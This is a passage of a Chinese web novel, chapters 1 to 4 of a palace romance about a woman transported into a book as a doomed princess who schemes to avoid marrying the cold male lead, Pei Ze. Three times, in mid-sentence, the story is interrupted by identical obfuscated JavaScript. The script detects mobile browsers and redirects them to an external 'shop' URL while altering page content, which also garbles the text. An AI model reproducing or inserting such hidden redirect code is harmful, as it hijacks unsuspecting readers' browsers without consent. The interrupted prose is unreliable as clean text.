《我真的是公主》 1. 梦醒 崔玉凝起了一身冷汗,从梦中挣扎着醒来。 睁开眼,入目是一张疲惫的美人脸。 这是她的阿娘,也是大晏朝的贵妃。 “凝儿,你醒了。”章贵妃看到崔玉凝睁开眼睛,声音都止不住地颤抖,“琅珠,叫宋太医进来。” “是。”一个宫女得了令利落转身出门。 崔玉凝回过神,她唇瓣微颤,溢出一声沙哑的气若游丝的:“阿娘。” 章贵妃的视线一刻也没有移开过,听到这里立刻心疼地回应道:“凝儿,阿娘在阿娘在。” 崔玉凝松了口气,绷着的弦一松,又闭上了眼。 她还活着,她没有跳楼。 - 约莫半个多月前,崔玉凝发现自己穿越了。 她不知道自己是怎么穿过来的,只记得她一觉睡醒就有一个身穿汉服的漂亮妹妹站在她面前,身后是更多穿着同样款式衣服的漂亮妹妹排排站。 在她醒后,几个妹妹直接上手给她洗漱穿衣化妆。 等她被一群人毕恭毕敬送到餐桌前的时候还在怀疑这是不是楚门世界,久久不能平复。 刚刚叫她起床的漂亮妹妹又拿着一张纸在她耳边念叨:“公主,您半个月前与章小姐约了今日巳时在公主府见面,三日前与太子约定去樊楼吃饭,未时……” 总之,那一刻她确定自己穿越了,还穿成了一个跟自己同名同姓的真公主,有钱有颜,仆从万千,呼风唤雨,彻底跟自己卑微的社畜人生说拜拜了。 可是当公主真的很忙!这么多天她一次懒觉都没有睡过,每一天都在兢兢业业赴小公主早前定下的约会,还有数不清的宴会。 直到昨天,她跟大家一起游湖不小心落水了。 她以为这是老天爷准备收回她的幸福生活,非常顺从地闭上眼睛。 还在心里告诉自己,就当是黄粱一梦,享受过就好,毕竟公主也很辛苦的。 感受着自己身体不停下坠,突然,一股强大的力量把她从下往上捞起。 然后……然后她就做了一个很漫长的梦,醒来就见到小公主的母妃了。 梦里她还在给客户改合同,电话一直响个不停,但无论如何她都摸不到手机。 正欲砸电脑之际,她站在了一座古色古香的城墙上。 风很大,吹起她身上厚重的宫装,身体不受控制地朝着城墙边缘走去。 向前一步。 倾身而下。 坠落的瞬间,崔玉凝终于夺回身体的掌控权。 她睁开眼,对上了一双冰冷的眸子正居高临下地看她。 下一秒,她看到了一本曾经看过的宅斗文。 她对这本书印象深刻,男主出场前的部分都环环相扣,特别好看。 只是她并没有看完这本书,因为男主一出场就是崔玉凝殉国,一个跟自己同名同姓的角色死得如此凄惨,实在瘆得慌,后来她就没看了。 梦里,死亡的感觉是如此真实,就好像……跳楼的人不是小公主,而是她崔玉凝。 所以,不是老天开眼给她富贵人生让她享福,而是穿书让她以身殉国! - “凝儿,怎么了?阿娘在,不怕不怕。”章贵妃把崔玉凝抱起来在怀里,像哄小孩一样哄着她。 “娘娘,宋太医来了。”琅珠带着宋太医候在屏风后面。 章贵妃顿了顿,声线里带了几分威严:“进来吧。” “是。”一个苍老的男声应答。 太医躬身入内,三指搭脉,凝神静诊,收指后沉吟片刻:“公主身体强健,未染风寒。只是…受了惊吓,需静养几日,臣开一剂药方,煎服三日即可。” “劳烦宋太医费心了,既如此,便按太医的方子来。”章贵妃挥了挥手,吩咐道:“璎珞,跟宋太医去取药吧。” “是。”站在另一侧的宫女应声答道。 “阿娘,”贵妃娘娘凤仪万千,可现在眼下的青黑已经遮不住了。 穿越过来的这半个多月里,还是崔玉凝第一次见章贵妃露出疲态。 “怎么样,还难受吗?”章贵妃声音依旧温柔地像能滴出水来。 见崔玉凝没回话,只是盯着自己看,章贵妃怪嗔,“你这孩子看什么呢。这次你落水是你裴则哥哥救了你,你父皇估计过两日就要给你们赐婚呢。” 裴则?赐婚? “不,不要。”崔玉凝下意识出声拒绝。 “怎么了?”章贵妃看到崔玉凝脸色突然不好,也紧张起来,“你不是最喜欢裴则了吗,怎么突然不要了。” “是不是他对你做了什么?”章贵妃见崔玉凝不说话就开始着急,甚至开始胡乱猜测,“昨日是他推你下水的?” 听到这话崔玉凝摇摇头,直接学着原主的样子抱上贵妃的腰,扑到贵妃怀里,嚎啕大哭起来。 哭着哭着就从假哭变成真哭,她真的好难过,她已经半个多月没有好好休息了。 原本她打算干完这半个月就享受一下骄纵的公主人生,结果突然一下子就告诉她其实她只是一个马上就要家破人亡的炮灰女配。 现在还要嫁给裴则,跟女主抢男人,这不就是必死无疑? “好好好,不喜欢裴则了,那凝儿就不嫁了。”章贵妃一下一下轻轻拍着崔玉凝的背,哄着她,“一会儿就去跟父皇说,我们凝儿不喜欢裴则了。” 听到章贵妃哄小孩的话,崔玉凝也渐渐冷静下来了,哭得一抽一抽的:“我不要嫁给裴则,他一点都不好。” 章贵妃听了这话也觉得新奇,崔玉凝从小就喜欢裴则,一有空就缠着裴则。 裴则是裴太傅家的孙子,也是太子伴读,更是大晏最年轻的探花郎,面如冠玉,京城里喜欢他的小女娘可以从城北排到城南。 只是从小他就被崔玉凝独家冠名。 当年小小的公主在太后寿宴上第一次见到太子哥哥身边的裴则面如莹玉、眉眼含星,像小仙童一样,直接拉着太子的手,傲着小脸指着裴则说:“阿兄,我要他做我的驸马!” “好好,他一点都不好,我们凝儿不嫁了,我们凝儿要嫁就要嫁给天底下最好的人。”章贵妃顺着崔玉凝的话继续哄道。 “什么天底下最好的人啊?”是皇后的声音。 外间的宫女给皇后行礼的声音响起,章贵妃见皇后进来,也拿了个软枕让崔玉凝靠上去。 福了福身:“臣妾见过皇后娘娘。” 皇后见状抬了抬手:“无需多礼,本宫来看看凝儿如何了。” 说着,皇后就坐到了崔玉凝的床边,崔玉凝急忙起身想要行礼,被皇后按住了:“凝儿怎么哭了,身体还没大好,要多多休息才是。” “母后……”崔玉凝刚想开口,就被皇后打断了。 “凝儿,母后给你带来一个好消息,”皇后眼角眉梢都染上了喜色,“方才太子从含元殿出来,他说你父皇已经同意裴家求娶你了。” 闻言崔玉凝彻底笑不出来了。 还是贵妃出声替她解释:“娘娘,凝儿方才还和臣妾说不喜欢那裴家三郎了。” 听了这个解释,皇后也没生气,而是轻声细语地问崔玉凝:“凝儿怎么又不喜欢裴家三郎了?是真心话还是赌气?” 不怪皇后这么问,实在是崔玉凝太喜欢裴则了。 “母后,凝儿是真心话。”崔玉凝刚刚趴在贵妃怀里号啕大哭,眼泪还没收回去,眼睛还红红的。 可怜模样让皇后看了心疼坏了,也顺着她的话哄着她:“好,你父皇还没下旨,一会儿去找你父皇说清楚。” 听到皇后的许诺,崔玉凝哭着点点头。心里想的却是按照小公主的受宠程度,只要她不想嫁应该就没人会逼她嫁。 …… “琅珠,琅珠,我的纸笔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211488|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿?”待贵妃和皇后离开后,崔玉凝立刻下床找了纸笔想把自己刚刚做的梦写下来。 琅珠是她的管事宫女,自她穿越过来后人生地不熟,几乎快要患上琅珠依赖症。 拿到纸笔后,崔玉凝重新爬回床上。 刚刚为了方便喝药,床上摆了张矮桌,这会儿刚好用来写字,还不用被人看见。 如果说,崔玉凝嫁给裴则是死亡最根本的原因,那么还有作者写在表面的原因。 可是表面原因……她不知道啊。 这是一篇宅斗文,前面一大半都在写女主宅斗。 崔玉凝这个名字一出场就是男主看她跳楼,凸显男主骨子里的冷静自持,以及对原配的薄情寡义。 写着写着她突然就觉得没必要把梦记下来了,她好像真的不够聪明,掌握的信息也太有限了。 现在唯一能做的就是趁皇帝还没赐婚先找个新驸马,只要生米煮成熟饭,裴则就没机会娶她。 至于新驸马嘛……到时候随便找个由头和离,她就彻底自由啦! 总之,只要不跳楼,她就可以享受有钱有颜吃喝不愁的人生了。 - 另一边,皇后跟贵妃携手出了门。 “凝儿这怎么突然就不喜欢裴三郎了?”皇后皱起眉,显然觉得这事儿有点麻烦。 章贵妃叹了口气:“我也不清楚,方才凝儿好似做了噩梦,出了一身冷汗,醒来就抱着我说不要嫁给裴三郎了。” “偏偏裴家刚走,要是早一点就好了……”皇后只可惜崔玉凝说得太晚,现在退亲势必会得罪裴家,到时候影响裴家和太子的关系就得不偿失了。 章贵妃也觉得可惜,裴则是个不错的夫婿人选,好不容易等到裴家求娶,凝儿却不喜欢裴则了。她心中也十分感谢皇后对崔玉凝任性的宠爱:“辛苦明岚姐姐跟我一起找陛下了。” 虽然民间话本总编写水火不容的贵妃与皇后,但在大晏后宫里两位的关系很不错,还未嫁人的时候就是闺中密友,是无话不谈的手帕交。 当时一同嫁进烈王府的确多有龃龉,也有两年不曾来往。 可后来先帝病重,夺嫡之争府上水面,最凶险的时候安王围了烈王府,一围就是半个月,进出不得。 那时候章铮瑜怀胎八月,北疆噩耗传回,她惊悸之下,甚至有流产先兆,是当时的烈王妃秦明岚亲自带着小世子照顾她才安稳等到生产。 崔玉凝是在烈王登基那天出生的,天承帝运,地诞公主,皇帝直接封崔玉凝为晏宁公主。 与大晏同名,代表了无上荣光。 那天也是皇后和小太子陪在两人身边。 换句话说,比起皇帝,他们四个更像一家人。 …… 皇后和贵妃一同来到含元殿,殿门口当值的福顺公公见二人同来,连忙躬身请安:“奴才给皇后娘娘、贵妃娘娘请安。” “起来吧,”皇后淡淡抬手,随口问道,“皇上此刻在殿内?可还得空?” 话音刚落,德海公公已从殿中快步迎出,侧身引道:“皇后娘娘、贵妃娘娘,皇上正等着二位呢,快随奴才进来。” 两人一同步入含元殿,屏退殿内众人。 这一幕落在殿外旁人眼里倒像是皇后贵妃携手给皇帝施压。 入殿后,二人齐齐屈膝行礼:“臣妾参见陛下。” 皇帝正埋首批阅案头堆积的奏折,闻声头也未抬,随口问道:“你二人一起来这里做什么?凝儿的事派个宫人来告诉朕就是了。” 太子一向沉稳省心,只有凝儿这个不省心的小孩天天跟她嫡母亲娘撒娇。 两人对视一眼,皇后斟酌着开口:“皇上,不知那裴家三郎求娶凝儿的婚事……” “你们得到消息了?这事朕已经准了,裴家刚刚才从含元殿离开。”皇帝闻言稍抬眼,语气平淡,“凝儿知道高兴坏了吧?” 2. 驸马 “高兴什么呀。”贵妃向来心直口快,“凝儿说她不想嫁给裴则了。” “胡闹!”皇帝终于舍得放下手中的笔,“之前不是她天天追着裴则?昨日又发生那样的事,裴家求娶不正合了她的心意。怎么说不喜欢就能不嫁了,朕金口玉言岂能反悔?” 昨日裴则救人是事实,大晏民风开放,本不必因此缔结婚约。只是两人自幼相识,裴家既主动求娶,皇帝也乐得成全。 见皇帝只是雷声大却没有真的生气,章贵妃便把崔玉凝醒来后的反应还有说过的话都复述了一遍。 皇后也顺势放缓语调:“陛下只是答应裴家求娶一事,可毕竟圣旨未下……您素来念着父女情分,若强逼她嫁入不心仪的人家,往后她在裴家过得不快活,岂不是让您心疼?” 皇帝被二人一唱一和架了起来,皇后给了台阶就立刻顺势而下:“既然如此那就等凝儿病好了亲自来跟朕解释。” - 章贵妃带回的消息让崔玉凝悬着的心落了大半。 只要不跟裴则成亲就好了,至于理由什么的,最差撒撒娇也能混过去。 在宫里被章贵妃和皇后娘娘投喂好几天,感觉脸都大了一圈,崔玉凝终于挑了个大晴天准备回公主府。 不过在回公主府之前,她要先去跟父皇道别,顺便解释不想嫁给裴则的原因。 崔玉凝打了一路腹稿,到含元殿的时候德海公公已经在门外等着了,见到她就笑盈盈地说:“晏宁公主,陛下都等您好久了,快跟老奴进来吧。” “父皇~”跟着德海进门以后她先声夺人,试图用撒娇盖过皇帝的问责。 皇帝果然受用,笑着冲她招手把她叫到身边:“身子可大好了?” “父皇不用担心,凝儿身体已经大好!”皇帝的关心和宠爱一点都不值钱,她生病这么多天可没见皇帝来看过她,倒是宠幸了好几个妃嫔。 看来皇帝也没有小公主记忆里这么疼爱她嘛。 崔玉凝跟皇帝假模假式地周旋了几个来回,从天气问到膳食,马屁拍得滴水不漏,见时机差不多,便想溜之大吉。 见她要走,皇帝轻咳一声:“凝儿是不是还有什么事忘记跟父皇解释了。” 崔玉凝脚步一顿,正想搪塞过去,殿外恰巧传来德海公公的通传:“太子殿下求见。” 崔玉凝神色一喜:“父皇,阿兄来了,他肯定有要事找您相商,凝儿就先告退啦!” 皇帝不满道:“说完再走。” 被一而再再而三地拦住,崔玉凝也不好再说要走了。 可太子进来后她才发现竟然还有一人也跟着来了,当着当事人的面说为什么不喜欢他,这不是强人所难嘛。 她在案几下悄悄扯了扯皇帝的衣袖,眼含恳求,暗示皇帝不要让她现在说。可皇帝偏偏就装作没看到:“祁儿来了,刚好也来听听你妹妹说为什么不喜欢聿修。” 说完还假装刚看到裴则的样子:“聿修也在了?这倒是……有些不巧了。” 崔玉凝站在皇帝旁边简直要气炸了,谁说皇帝对小公主很好的,简直就是诈骗啊! 裴则早就看到了站在皇上身边的人小动作不停,方才在殿外就隐约听见她娇声软语地哄陛下开心,简直比德海还要狗腿,现在这会儿又脸红到不行。 只是,什么叫不喜欢聿修……? 所以皇上迟迟不下赐婚圣旨是因为崔玉凝不喜欢裴聿修? 她眸光微动,抬起头深深地看了崔玉凝一眼。 崔璟祁原本是来回禀北疆军务的,见父皇心思全在妹妹身上,只得暂候一旁。 他早知崔玉凝要退婚一事,前几日母后就派人给他传话,让他从中斡旋一番,勿使裴则难堪。 虽不知妹妹为何忽然改了主意,但他私心以为这是好事。裴聿修样貌学识都为上乘不假,可一直对妹妹冷心冷眼,这样的人绝非良配。 至少,不能让妹妹重蹈覆辙。 “父皇,儿臣认为凝儿她……” 见太子马上就要开始长篇大论为自己辩解,崔玉凝直接打断他:“父皇!儿臣跟阿兄先走了!” 她拽着不明所以的太子就往外走。 她知道太子一心为了她好,也比她聪明多了,可崔璟祁是他们全家第一个死的,所以更不能让他瞎说话得罪男主了。 这两天被贵妃按在床上休息,崔玉凝趁机把小说情节都回忆了一边,从顾家后宅拼凑出一点他们崔家人的命运。 虽然小说前期一直在宅斗,可是再怎么闭门不出,后宅总会被前朝影响,太子之死就是女主姐姐婚事问题的导火索。 至于皇帝……崔玉凝偷偷回头瞥了一眼气定神闲的皇帝。 得罪谁不好直接得罪男主,宠爱公主也是假的,活该他家破人亡还被灭国! …… 出了含元殿,兄妹二人一同往宫外走去。 一路上崔璟祁都在赞美她,作为一个每天都客户摧残的社畜,崔玉凝哪里听过这么多好话,感觉两颊都烫烫的。 突然太子话锋一转:“对了,裴太傅托我问你什么时候回来读书。” 裴太傅是太子太傅,只给太子上课,但崔家小公主为了日日都见到裴三郎,央求着皇上给了恩典,让她也能旁听裴太傅的课。 只不过两年前裴则中了探花,在翰林院任职,连太子也忙于政务,小公主求的恩典彻底变成裴太傅对她一对一教学。 回忆到这里,崔玉凝顿觉一阵头疼。一对一,名师辅导……怪不得小公主三天打鱼两天晒网,每天安排这么多行程出去约会。 “我……能不学了吗?”她停下脚步,仰头看向太子,眼中尽是希冀。 她已经读了这么多年书,一直被考试折磨,最后甚至死于工作。 现在她可是公主! 还是马上就要殉国的炮灰公主,难道不应该享受一下公主的幸福生活吗? 崔璟祁对她的反应毫不意外。他知道自己的妹妹被母后和章贵妃惯坏了,做什么事都三分钟热度,读书那么苦,让她一个人面对裴太傅肯定是不肯的。 “此事我做不了主。过两日,你同我一道去裴府,亲自向太傅说明。” 他故意板起脸,却只换来妹妹一声拖长调的“哦——”,显然没往心里去。 看着她欢快地跑回马车上,崔璟祁无奈摇了摇头。 崔玉凝上了马车后捂着胸口深深喘了一口气,她当然听进去了,她当然知道要尊师重道,可她不想见裴则啊。 更何况马上就要退婚了,她不能去裴家。 “公主这是怎么了?”琅珠给崔玉凝倒了杯茶。 崔玉凝喝了口水,冷静吩咐道:“没事了,我们回去吧。” 马车行进不过片刻,琅珠就告诉崔玉凝到公主府了,她甚至觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211489|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这点路程还不如刚刚她从含元殿走到宫门口远。 她拍了拍身上不存在的灰尘,跳下车。 公主府—— 她崔玉凝终于回来了! 这一次,她要夺回失去的一切! 落水前她每天兢兢业业赴约都没有好好享受公主府,一想到自己马上死了就彻底享受不到,崔玉凝简直肉疼。 不过当务之急是找个新驸马,畅游公主府的事还得再等等。 “琅珠,你去给章舒窈下帖子,邀请她明日来公主府!”崔玉凝叹了口气,小公主脑子里除了裴则就没有其他人了,必须找人想想办法。 - 又是一个艳阳高照的大晴天。 崔玉凝和章舒窈两个人却屏退一众下人,躲在房里。 “什么?你不嫁给表哥了?”章舒窈听完,柳眉立刻拧起,满脸不赞同。 崔玉凝心里“咯噔”一声,她彻底忘了这茬。 裴则是章舒窈的亲表哥,而且她最崇拜这个表哥了。 为了挽留表姐,她大脑飞速转动:“不是的不是的,我这都是……是为了你表哥着想。你表哥要是尚公主就只能去鸿胪寺任职了,他的大好前途……”说着还装模作样掉了两滴眼泪。 哭这两下章舒窈是一点没信:“行了行了,别哭了,我帮你想想就是。”对表哥有好处的事她才不会拒绝。 崔玉凝点了一下头,睁着水汪汪的眼睛继续装可怜。 章舒窈双手捏了一把崔玉凝嫩生生的小脸,“我娘近来也在为我相看,倒是听她提过几家,风评尚可……” 章家是武将世家,章舒窈的父亲也就是她舅舅镇国公镇守北疆,她娘是大晏的贵妃,而她的舅母又是裴家女。 看过甄嬛传的都知道章家不能再进了,章舒窈的择偶标准跟她需要的人差不多,所以崔玉凝直接叫了她过来商量。 “我记得我娘说过尚书家的二公子还不错,”章舒窈认真想了想,掰着手指数,“还有刑部尚书、谢御史、礼部尚书、大理寺卿…这几家的公子都适龄未婚。” 崔玉凝听得一愣一愣的,干巴巴地问:“那表姐,我要去哪里找他们啊?” 章舒窈听的直皱眉,“什么找他们?公主府宴请的时候这些人你都见过了。” ……完全没有印象。原主的记忆里,似乎除了裴则,就没有别的男人了。 崔玉凝干笑两声,又凑过去撒娇:“表姐,我都不记得了~我现在应该去哪里找他们啊?” 章舒窈被她闹得没法,只得道:“他们多在国子监进学。下次旬假是九日后,届时你办个赏花宴或诗会,自然能见。” “不成不成,”崔玉凝道,“九日太久了!”到时候依裴太傅的性格大家都招架不住。 她必须在这几日找到合适的驸马然后生米煮成熟饭! “表姐!你陪我去国子监吧!”崔玉凝做出决定,舍不得面子套不着驸马。 章舒窈彻底气笑了,都开始叫她的封号,“晏宁公主,您忘了女子进不了国子监了吗?” 崔玉凝啊了一声,这她还真不知道,又小心翼翼地问:“我是公主也不可以吗?” “不、行。”章舒窈一字一顿,斩钉截铁。 …… 把章舒窈送回镇国公府后,崔玉凝直接叫车夫转道,直奔东宫而去。 她要去搬最管用的救兵。 3. 抓包 夕阳透过窗棂,洒在书房的地上桌上。 “胡闹。”听完崔玉凝的计划崔璟祁当即蹙起眉,放下手中的奏章,“等下次休沐办场诗会,让他们每个人到你面前展露才学便可,何必亲自去国子监?那不是女子该去的地方。” 崔玉凝来之前就猜到太子会拒绝,不过根据小公主对太子的印象,反而振振有词道:“阿兄,诗会上的每个人都精心准备过,哪里看得出来原本是什么人,你舍得自己妹妹不明不白嫁个像大姐夫一样的人吗?到时候,我天天以泪洗面,你就高兴了?” 书里提过,大驸马风流成性,女主庶妹就是众多莺莺燕燕中的一个。 她不确定现在剧情进展到哪一步,但太子应当是知晓的。 果然,崔璟祁闻言神色微变,压低声音:“慎言!什么大姐夫,小姑娘家家不许胡说。” “我哪有胡说?”崔玉凝趁势追击,声音里刻意染上委屈的鼻音,“等我也嫁了那样的人,每天不好好侍奉公主,就知道在外面喝花酒,阿兄到时候可别心疼……” “好了好了!让你去便是。”崔璟祁最怕她这副模样,她一哭,母后与贵妃便要来过问,最后少不得要他破财哄人。 说完,崔璟祁又补充道:“不过你不可招摇,叫琅珠她们给你找一件学子服,再由竹酒跟你一起。” 竹酒是崔璟祁身边的侍卫,熟悉的人见到竹酒就知道是太子的命令。有竹酒跟着,崔玉凝的安全能够得到保障。 “好!”崔玉凝痛快答应,心里想的却是到时候甩开竹酒问问几个人愿不愿意尚公主。 - 第二天一早。 崔玉凝换上琅珠她们几个连夜按她的尺寸修改的靛蓝色国子监襕衫,璎珞还给她用青色布巾给她束发,俨然一副清秀小书生的模样。 “殿下,可以出发了。”竹酒按照太子的吩咐提前在公主府等晏宁公主,他也换掉了身上显眼的东宫侍卫服,气质收敛。 这是崔玉凝第一次来国子监,幸好有竹酒在,一路上的侍卫都睁一只眼闭一只眼给他们放行。 国子监内古柏森森,书声朗朗。 崔玉凝带着竹酒,大摇大摆走在路上。 可惜她不仅不认识路,还不认识人,吓得竹酒一路阻拦:“殿下殿下,这是祭酒廨,太学在另一边。” 听了竹酒的话,崔玉凝不慌不忙从怀里掏出一张记着名单的纸,这是昨天送章舒窈回家前让她写下来的。 递给竹酒,眯着眼半威胁道:“按照这个单子找人,如果敢让皇兄知道,你就……死定了!” 竹酒接过名单,眼前一亮,这些人跟太子都毫无关系,而且基本都是毫无建树的家中次子。 崔玉凝将竹酒的反应尽收眼底,淡淡收回视线。 等了片刻才冷冷出声:“看完了吗?我们走吧。” 这会儿竹酒满脑子都是要把这个名单报告给太子殿下,“殿下,这边请。” - 两人在讲堂外鬼鬼祟祟,里面学子济济,个个埋头苦读,哪里分得清谁是谁。 “公主,那个就是刑部尚书家的二公子。”竹酒蹲在崔玉凝身边小声地说。 崔玉凝小心翼翼地探出头,顺着竹酒指的方向看去,一下子没找到:“哪个啊?你说清楚一点!” “就是那个……”竹酒也不知道怎么给公主说明,大家都穿着一样的学子服,还都低着头。 崔玉凝没听清竹酒的话,眯着眼望去,连脸都看不见。 “得罪了,殿下!” 竹酒听到脚步声,来不及多解释就直接揽住崔玉凝的腰,足下一点,轻盈跃上近旁一棵枝叶繁茂的大树。 枝叶茂密,堪堪遮住两人身影。 崔玉凝猝不及防,完全没想到竹酒会突然把她抱起来,捏在手里的纸被树枝一打就顺着风飘落到了地上。 脚步声恰在此时止于树下。 来人是裴则,他身着青色官袍,身形颀长,立如芝兰玉树。 饶是梦里那些清晰而深刻的殉国画面,崔玉凝也无法否认裴则就是超越现实男人的存在,怪不得小公主一眼就认定他做驸马。 比起崔玉凝还有心情欣赏裴大人的容貌,身边的竹酒此刻已是冷汗涔涔,目光死死锁住地上那张纸,生怕裴则看见了。 虽然裴大人不喜欢晏宁公主,可要是让裴大人知道太子帮他未婚妻找其他男人,也不知道太子会不会被迁怒。 竹酒眼见一直骨节分明的手向那张纸伸来,几乎要出声制止。 一旁的崔玉凝看着竹酒一会儿皱眉一会儿扼腕,觉得有趣,用气声问:“竹酒,你要不要来公主府当差?” 她身边没有身手这么好的侍卫,最得用的只有琅珠她们。竹酒这么壮,多练习练习,说不定跳楼的时候能接住她。 闻言,竹酒惶恐,脸都憋红了还在连连挥摆手,怕底下的裴大人听见又不敢说话。 崔玉凝觉得好笑,继续用气声说:“那就这么说定了,一会儿我去找皇兄。” 树下。 裴则捡起面前的纸,目光在纸上一扫。 忽而又听见藏在树上某人的声音。 他抬起了头,轻咳一声。 两人瞬间僵住。 随即,他极其自然地将那张纸折起,收进了自己的袖中。 然后,他便转身,沿着来路,步履从容地离开了。 树上崔玉凝还在问竹酒愿不愿意跳槽,被那一声轻咳吓了一跳,脚下一滑。 竹酒急忙扶住公主,带着公主重新落到地面。 “裴则怎么会到国子监来?”崔玉凝惊魂未定,又满心疑惑,“他不该在翰林院吗?” 裴则是翰林院编修,这个时间应当在翰林院。 竹酒忙躬身行礼,额头几乎要抵到胸口,他也不知道啊。 不过面对公主的威压,犹豫再三,还是开口:“属下不知。可能是…祭酒找裴大人吧。”裴大人方才那声轻咳,分明是察觉了树上有人。 “名单你看清了?”崔玉凝问。 竹酒点头。 “那……我们按计划继续?”崔玉凝试探。 竹酒把头摇得像拨浪鼓,态度坚决:“殿下,今日不宜再留。裴大人既已来过,难保不会引人注意。” 崔玉凝见他那副如临大敌的模样,也知今日事不可为,只得悻悻道:“罢了,回去吧。” 两个人从国子监离开,依旧是一路畅通,只是没有来时的好心情了。 国子监门口有一辆马车,上面挂着一个牌子,写了一个“裴”字 糟糕,被裴则抓包了。 裴则面色如霜,站在车旁。 她心下一沉,正想装作没看见、直接绕开,身后的竹酒却轻轻推了她一下,低声道:“殿下,裴大人在等。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211490|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴则盯着崔玉凝的脸,嘴里的话却是对竹酒说的:“竹酒,你先回去复命。我会送公主回府。” 竹酒如蒙大赦,躬身一礼,逃也似的快步离开了。他就知道裴大人一定听到了公主的话,现在要找公主算账呢,他要回去告诉太子殿下。 竹酒走后,只剩下裴则和她。 崔玉凝不是小公主,她不会面对裴则。 裴则沉吟片刻,终于开口:“刑部尚书之子夏青林,谢御史幼子谢泽,礼部尚书次子吴涛,大理寺卿之子钱江源……” 纸上的名字一个一个被裴则念出来,每念出一个名字崔玉凝的头就低了一分。 总觉得自己像被丈夫抓包的出轨的妻子。 等等! 她不是啊。 “我们没有成亲!”崔玉凝猛地抬起头,从裴则手里抽回那张纸,“本公主做什么要你管?!” 裴则手腕一翻,避开她的手,反而顺势握住了她的手腕。 看向崔玉凝的眼睛:“公主最好还是收起这些小心思。” 崔玉凝气笑了:“什么小心思,本公主听不懂裴大人在说什么呢。” 说完崔玉凝直接走向停在一旁的自家马车,独留裴则一人在原地。 打嘴仗最没意思了,裴则他敢说自己不想娶公主吗? 裴则站在原地看着公主车架离去,他总觉得小公主不一样了。 - 崔玉凝没有直接回公主府,而是去了东宫。 她是去讨要竹酒的! “皇兄,您就把竹酒让给我嘛~”崔玉凝站在太子的书桌旁边,用尽全身力气嗓子都要夹冒烟了。 崔璟祁也觉得头疼,章家是武将世家,怎么会没有暗卫,还得问他要侍卫:“不行。” 崔玉凝轻飘飘地看了他一眼:“阿兄还说最疼爱凝儿了,连个侍卫都舍不得吗?” 崔璟祁咂舌,没想到妹妹没哭没闹还变成了这样,“不是舍不得,只是竹酒是阿兄的人,你不也有侍卫?” “我的侍卫哪有竹酒那么厉害,还能飞。”崔玉凝拿起桌上的砚台,不让崔璟祁用。 崔璟祁眼看着崔玉凝把砚台端走,眼皮一跳,又不敢制止她,生怕她把墨泼到自己身上,“行行行,一会儿让竹酒带你去选人。” 说完又补充:“选个女子。” 崔璟祁一边说,一边把砚台从崔玉凝手里慢慢拿回来放在桌上。 手里空空的崔玉凝又伸手摸摸肚子,在外面一上午还没吃饭,“阿兄,我饿了,摆膳吧。” 见崔玉凝终于不揪着竹酒不放,崔璟祁也松了口气,“喜乐,摆膳。” - 东宫小膳堂,兄妹俩分坐主案两侧。 “殿下,裴大人来了。”喜乐进来通传。 崔璟祁眼底闪过一丝了然,立刻道:“快请聿修进来一同用膳。” 裴则很快入内,自然地在崔玉凝身侧的席位落座。 崔玉凝饿坏了,埋头吃得认真。崔璟祁见状笑问:“凝儿这是没用早膳?” 一旁,裴则夹菜的手微微一顿,语气平淡地接了一句:“公主一早上上蹿下跳可不是饿坏了。” 崔玉凝咀嚼的动作停了一瞬,随即装作没听见,继续专心用膳,甚至有种破罐破摔的意味。 反而是崔璟祁意识到了不对劲,他不动神色地在两人脸上来回逡巡,随即了然一笑。 4. 顾家 “高岭之花”不食人间烟火,东宫的午膳只有崔玉凝一人独享。 崔玉凝吃着碗里的,心里还想着要把东宫的厨子给挖走,这比公主府的饭好吃多了。 她这么想着,也直接这么说:“阿兄,可以把东宫的厨子送给我吗?” 沉默片刻,崔璟祁说:“过几日就是岁岁的周岁宴了。” 岁岁是大公主的女儿。 崔玉凝不耻上问:“那我要准备什么您才能把东宫的厨子送给我?” 崔璟祁不理:“孤要代表父皇母后出席。” 崔玉凝继续讨要:“那我日日都要来东宫用膳。” 崔璟祁无奈:“喜乐,把今日做午膳的厨子叫来让晏宁公主过目。” 往日崔玉凝脸皮极薄,这样当面讨要的事是万万做不出来的。 死亡壮人胆,一想到即将为了崔家赴死,就不再忍心亏待自己了。 一旁裴则悠然呷了一口茶,看着兄妹俩讨价还价,心中若有所思。 …… 用完午食,崔玉凝跟着喜乐公公去挑选一位身强力壮的侍卫。 提前通知了晏宁公主要选人,无论是侍卫还是暗卫都早早等在书房外面了。 喜乐用他那尖细的声音在崔玉凝耳边说:“公主殿下,这些就是东宫的侍卫了。” 